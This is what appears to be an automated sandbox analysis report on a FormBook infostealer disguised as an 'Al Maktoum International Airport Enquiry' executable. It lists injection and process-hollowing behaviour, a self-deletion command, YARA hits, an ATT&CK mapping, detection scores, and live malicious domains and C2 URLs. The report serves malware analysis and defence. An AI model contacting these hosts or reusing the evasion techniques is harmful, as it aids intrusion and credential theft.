Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\svchost.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Jump to behavior

Sample uses process hollowing technique

Source: C:\Windows\SysWOW64\svchost.exe

Section unmapped: C:\Windows\SysWOW64\msiexec.exe base address: 970000

Jump to behavior

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe

Code function: 0_2_00CD8C93 LogonUserW,

0_2_00CD8C93

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe

Code function: 0_2_00C83B4C GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00C83B4C

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe

Code function: 0_2_00C84A35 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,

0_2_00C84A35

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe

Code function: 0_2_00CE4EC9 mouse_event,

0_2_00CE4EC9

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe"			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Windows\SysWOW64\svchost.exe"			Jump to behavior

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe

0_2_00CD81F7

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe

Code function: 0_2_00CE4C03 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_00CE4C03

Source: New Al Maktoum International Airport Enquiry Ref #2401249.exe	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: New Al Maktoum International Airport Enquiry Ref #2401249.exe, explorer.exe, 00000002.00000002.4135304707.0000000009815000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.4133017076.0000000004CE0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000002.00000000.1689640801.00000000018A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000002.4131348268.00000000018A1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000002.00000000.1689421326.0000000001248000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.4130664526.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1Progman$
Source: explorer.exe, 00000002.00000000.1689640801.00000000018A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000002.4131348268.00000000018A1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000002.00000000.1689640801.00000000018A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000002.4131348268.00000000018A1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe

Code function: 0_2_00CA886B cpuid

0_2_00CA886B

Source: C:\Windows\SysWOW64\msiexec.exe

Code function: memset,GetACP,LoadLibraryW,GetProcAddress,GetLocaleInfoW,FreeLibrary,FormatMessageW,memset,GetVersionExW,lstrlenW,WriteFile,WriteFile,

3_2_00975C84

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe

Code function: 0_2_00CB50D7 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00CB50D7

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe

Code function: 0_2_00CC2230 GetUserNameW,

0_2_00CC2230

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe

Code function: 0_2_00CB418A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_00CB418A

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe

Code function: 0_2_00C84AFE GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_00C84AFE

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 0.2.New Al Maktoum International Airport Enquiry Ref #2401249.exe.3af0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.2670000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.New Al Maktoum International Airport Enquiry Ref #2401249.exe.3af0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1732540303.0000000002D80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1732135367.0000000002671000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1732565448.0000000002DB0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4131140832.0000000004D60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1688631201.0000000003AF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4130578535.0000000003100000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4131191580.0000000004D90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Source: New Al Maktoum International Airport Enquiry Ref #2401249.exe	Binary or memory string: WIN_81
Source: New Al Maktoum International Airport Enquiry Ref #2401249.exe	Binary or memory string: WIN_XP
Source: New Al Maktoum International Airport Enquiry Ref #2401249.exe	Binary or memory string: WIN_XPe
Source: New Al Maktoum International Airport Enquiry Ref #2401249.exe	Binary or memory string: WIN_VISTA
Source: New Al Maktoum International Airport Enquiry Ref #2401249.exe	Binary or memory string: WIN_7
Source: New Al Maktoum International Airport Enquiry Ref #2401249.exe	Binary or memory string: WIN_8
Source: New Al Maktoum International Airport Enquiry Ref #2401249.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 5USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 0.2.New Al Maktoum International Airport Enquiry Ref #2401249.exe.3af0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.2670000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.New Al Maktoum International Airport Enquiry Ref #2401249.exe.3af0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1732540303.0000000002D80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1732135367.0000000002671000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1732565448.0000000002DB0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4131140832.0000000004D60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1688631201.0000000003AF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4130578535.0000000003100000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4131191580.0000000004D90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CF6596 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,		0_2_00CF6596
Source: C:\Users\user\Desktop\New Al Maktoum International Airport Enquiry Ref #2401249.exe	Code function: 0_2_00CF6A5A socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		0_2_00CF6A5A

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	2 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 Credential API Hooking	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Shared Modules	2 Valid Accounts	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Credential API Hooking	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Service Execution	3 Windows Service	2 Valid Accounts	2 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	21 Input Capture	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	21 Access Token Manipulation	1 DLL Side-Loading	NTDS	225 System Information Discovery	Distributed Component Object Model	3 Clipboard Data	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	3 Windows Service	1 Rootkit	LSA Secrets	251 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	512 Process Injection	2 Valid Accounts	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	512 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
New Al Maktoum International Airport Enquiry Ref #2401249.exe	32%	ReversingLabs	Win32.Trojan.AutoitInject
New Al Maktoum International Airport Enquiry Ref #2401249.exe	29%	Virustotal		Browse
New Al Maktoum International Airport Enquiry Ref #2401249.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Link
www.arlatwestern.shop	1%	Virustotal	Browse
sites.ludicrous.cloud	0%	Virustotal	Browse
www.wshifen.com	0%	Virustotal	Browse
www.serverdayz.com	1%	Virustotal	Browse
wheresthechocolateat.com	1%	Virustotal	Browse
www.theselflovesite.com	1%	Virustotal	Browse
www.iiixc759q.xyz	4%	Virustotal	Browse
www.af28.top	1%	Virustotal	Browse
www.wheresthechocolateat.com	1%	Virustotal	Browse
www.betbox2341.com	1%	Virustotal	Browse
www.wvufcw948o.top	1%	Virustotal	Browse
www.sliveringaf.christmas	3%	Virustotal	Browse
www.strategiclogisticsagency.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://aka.ms/odirmr	0%	URL Reputation	safe
https://aka.ms/odirmr	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV	0%	URL Reputation	safe
https://api.msn.com:443/v1/news/Feed/Windows?	0%	URL Reputation	safe
https://excel.office.com	0%	URL Reputation	safe
https://simpleflying.com/how-do-you-become-an-air-traffic-controller/	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu-dark	0%	URL Reputation	safe
https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe	0%	URL Reputation	safe
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg	0%	URL Reputation	safe
https://wns.windows.com/L	0%	URL Reputation	safe
https://word.office.com	0%	URL Reputation	safe
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu	0%	URL Reputation	safe
https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY-dark	0%	URL Reputation	safe
https://www.rd.com/list/polite-habits-campers-dislike/	0%	URL Reputation	safe
https://android.notify.windows.com/iOS	0%	URL Reputation	safe
https://outlook.com_	0%	URL Reputation	safe
https://www.rd.com/newsletter/?int_source=direct&int_medium=rd.com&int_campaign=nlrda_20221001_toppe	0%	URL Reputation	safe
https://powerpoint.office.comcember	0%	URL Reputation	safe
http://schemas.micro	0%	URL Reputation	safe
https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew	0%	URL Reputation	safe
https://api.msn.com/q	0%	URL Reputation	safe
https://api.msn.com/v1/news/Feed/Windows?activityId=0CC40BF291614022B7DF6E2143E8A6AF&timeOut=5000&oc	0%	URL Reputation	safe
https://assets.msn.com/staticsb/statics/latest/traffic/Notification/desktop/svg/RoadHazard.svg	0%	URL Reputation	safe
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark	0%	URL Reputation	safe
https://aka.ms/Vh5j3k	0%	URL Reputation	safe
https://api.msn.com/v1/news/Feed/Windows?&	0%	URL Reputation	safe
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/humidity.svg	0%	URL Reputation	safe
https://www.msn.com/en-us/news/us/a-nationwide-emergency-alert-will-be-sent-to-all-u-s-cellphones-we	0%	Avira URL Cloud	safe
http://www.af28.topReferer:	0%	Avira URL Cloud	safe
http://www.dreziuy.xyz	100%	Avira URL Cloud	malware
http://www.arlatwestern.shopReferer:	0%	Avira URL Cloud	safe
http://www.uddyen.shop	0%	Avira URL Cloud	safe
http://www.per-watch.com	0%	Avira URL Cloud	safe
http://www.wheresthechocolateat.comReferer:	0%	Avira URL Cloud	safe
http://www.uddyen.shop/pt46/	0%	Avira URL Cloud	safe
http://www.betbox2341.comReferer:	0%	Avira URL Cloud	safe
http://www.dreziuy.xyz	0%	Virustotal		Browse
http://www.harbalmaizik.com	0%	Avira URL Cloud	safe
http://www.sliveringaf.christmas/pt46/	0%	Avira URL Cloud	safe
http://www.twinportslocal.com/pt46/	0%	Avira URL Cloud	safe
http://www.uddyen.shop/pt46/	2%	Virustotal		Browse
http://www.iiixc759q.xyz/pt46/	100%	Avira URL Cloud	malware
http://www.per-watch.com	0%	Virustotal		Browse
http://www.autoitscript.com/autoit3/J	0%	Avira URL Cloud	safe
http://www.serverdayz.com	0%	Avira URL Cloud	safe
http://www.uddyen.shop	1%	Virustotal		Browse
http://www.iiixc759q.xyz/pt46/www.sliveringaf.christmas	100%	Avira URL Cloud	malware
http://www.iiixc759q.xyz/pt46/	0%	Virustotal		Browse
http://www.sliveringaf.christmas/pt46/	5%	Virustotal		Browse
http://www.theselflovesite.com/pt46/www.iiixc759q.xyz	0%	Avira URL Cloud	safe
http://www.serverdayz.com	1%	Virustotal		Browse
http://www.theselflovesite.com/pt46/	0%	Avira URL Cloud	safe
http://www.wvufcw948o.top	0%	Avira URL Cloud	safe
http://www.twinportslocal.com/pt46/	0%	Virustotal		Browse
http://www.serverdayz.com/pt46/	0%	Avira URL Cloud	safe
http://www.wheresthechocolateat.com/pt46/www.serverdayz.com	0%	Avira URL Cloud	safe
https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win	0%	Avira URL Cloud	safe
http://www.wvufcw948o.top	1%	Virustotal		Browse
https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-	0%	Avira URL Cloud	safe
http://www.theselflovesite.com/pt46/	5%	Virustotal		Browse
http://www.autoitscript.com/autoit3/J	0%	Virustotal		Browse
http://www.serverdayz.com/pt46/	1%	Virustotal		Browse
www.wheresthechocolateat.com/pt46/	0%	Avira URL Cloud	safe
http://www.uddyen.shop/pt46/www.harbalmaizik.com	0%	Avira URL Cloud	safe
http://www.strategiclogisticsagency.com/pt46/www.arlatwestern.shop	0%	Avira URL Cloud	safe
http://www.harbalmaizik.com	0%	Virustotal		Browse
https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img	0%	Avira URL Cloud	safe
http://www.serverdayz.comReferer:	0%	Avira URL Cloud	safe
www.wheresthechocolateat.com/pt46/	1%	Virustotal		Browse
http://www.strategiclogisticsagency.comReferer:	0%	Avira URL Cloud	safe
http://www.betbox2341.com/pt46/www.dreziuy.xyz	0%	Avira URL Cloud	safe
https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at	0%	Avira URL Cloud	safe
http://www.sliveringaf.christmas/pt46/www.twinportslocal.com	0%	Avira URL Cloud	safe
http://www.cb214.pro/pt46/	0%	Avira URL Cloud	safe
https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img	0%	Virustotal		Browse
http://www.sliveringaf.christmas	0%	Avira URL Cloud	safe
https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl	0%	Avira URL Cloud	safe
http://www.betbox2341.com/pt46/www.dreziuy.xyz	2%	Virustotal		Browse
http://www.harbalmaizik.comReferer:	0%	Avira URL Cloud	safe
http://www.iiixc759q.xyz	0%	Avira URL Cloud	safe
http://www.sliveringaf.christmas	3%	Virustotal		Browse
http://www.wvufcw948o.top/pt46/?ara=runx2q514acjuuceA0OTyKdTIzcy0YcAOvUMICEfyLgC3vUfTcW2aWKxfLyo5+IB4FDn&D8V=_FNDAz	0%	Avira URL Cloud	safe
http://www.cb214.pro/pt46/	2%	Virustotal		Browse
http://www.betbox2341.com	0%	Avira URL Cloud	safe
https://www.msn.com/en-us/money/personalfinance/no-wonder-the-american-public-is-confused-if-you-re-	0%	Avira URL Cloud	safe
http://www.twinportslocal.com	0%	Avira URL Cloud	safe
http://www.betbox2341.com/pt46/	0%	Avira URL Cloud	safe
http://www.arlatwestern.shop	100%	Avira URL Cloud	phishing
http://www.betbox2341.com	1%	Virustotal		Browse
http://www.dreziuy.xyzReferer:	0%	Avira URL Cloud	safe
http://www.twinportslocal.com/pt46/www.per-watch.com	0%	Avira URL Cloud	safe
http://www.cb214.proReferer:	0%	Avira URL Cloud	safe
http://www.per-watch.comReferer:	0%	Avira URL Cloud	safe
http://www.af28.top/pt46/www.wvufcw948o.top	0%	Avira URL Cloud	safe
https://www.msn.com/en-us/lifestyle/travel/i-ve-worked-at-a-campsite-for-5-years-these-are-the-15-mi	0%	Avira URL Cloud	safe
http://www.theselflovesite.com	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.arlatwestern.shop	104.18.24.121	true	true	1%, Virustotal, Browse	unknown
sites.ludicrous.cloud	104.18.23.89	true	true	0%, Virustotal, Browse	unknown
www.wshifen.com	103.235.46.96	true	true	0%, Virustotal, Browse	unknown
www.serverdayz.com	103.224.212.214	true	true	1%, Virustotal, Browse	unknown
wheresthechocolateat.com	76.223.105.230	true	true	1%, Virustotal, Browse	unknown
www.theselflovesite.com	unknown	unknown	true	1%, Virustotal, Browse	unknown
www.af28.top	unknown	unknown	true	1%, Virustotal, Browse	unknown
www.strategiclogisticsagency.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
www.iiixc759q.xyz	unknown	unknown	true	4%, Virustotal, Browse	unknown
www.wvufcw948o.top	unknown	unknown	true	1%, Virustotal, Browse	unknown
www.wheresthechocolateat.com	unknown	unknown	true	1%, Virustotal, Browse	unknown
www.betbox2341.com	unknown	unknown	true	1%, Virustotal, Browse	unknown
www.sliveringaf.christmas	unknown	unknown	true	3%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
www.wheresthechocolateat.com/pt46/	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.wvufcw948o.top/pt46/?ara=runx2q514acjuuceA0OTyKdTIzcy0YcAOvUMICEfyLgC3vUfTcW2aWKxfLyo5+IB4FDn&D8V=_FNDAz	true	Avira URL Cloud: safe	unknown
http://www.arlatwestern.shop/pt46/?ara=0RpqK4N+sKWumQPIkFOTbgKQJXSBpFKqwGjlCYY5Ihaqw+DawbshP/fsCF3RmMSwrLNm&D8V=_FNDAz	true	Avira URL Cloud: phishing	unknown
http://www.wheresthechocolateat.com/pt46/?ara=QVbB1/DxL/c6NkCuk8rWfFSxGk6qL/qIHQ35N54fxEy/BWtxzW12LUdW++4CHG2+1qqv&D8V=_FNDAz	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://aka.ms/odirmr	explorer.exe, 00000002.00000003.3106633874.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3460584807.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.4133281259.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV	explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.dreziuy.xyz	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	true	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://api.msn.com:443/v1/news/Feed/Windows?	explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3106730980.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.4135304707.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1692654831.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.af28.topReferer:	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.arlatwestern.shopReferer:	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.uddyen.shop	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://excel.office.com	explorer.exe, 00000002.00000002.4140282960.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1694928784.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/news/us/a-nationwide-emergency-alert-will-be-sent-to-all-u-s-cellphones-we	explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://simpleflying.com/how-do-you-become-an-air-traffic-controller/	explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.per-watch.com	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.wheresthechocolateat.comReferer:	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY	explorer.exe, 00000002.00000002.4133281259.0000000007900000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1691155621.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu-dark	explorer.exe, 00000002.00000000.1691155621.00000000078AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.4133281259.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.uddyen.shop/pt46/	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.betbox2341.comReferer:	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.harbalmaizik.com	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.sliveringaf.christmas/pt46/	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	5%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe	explorer.exe, 00000002.00000002.4140282960.000000000C893000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.1694928784.000000000C893000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.twinportslocal.com/pt46/	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.iiixc759q.xyz/pt46/	explorer.exe, 00000002.00000002.4136039425.0000000009920000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.3105787292.0000000009920000.00000004.00000001.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
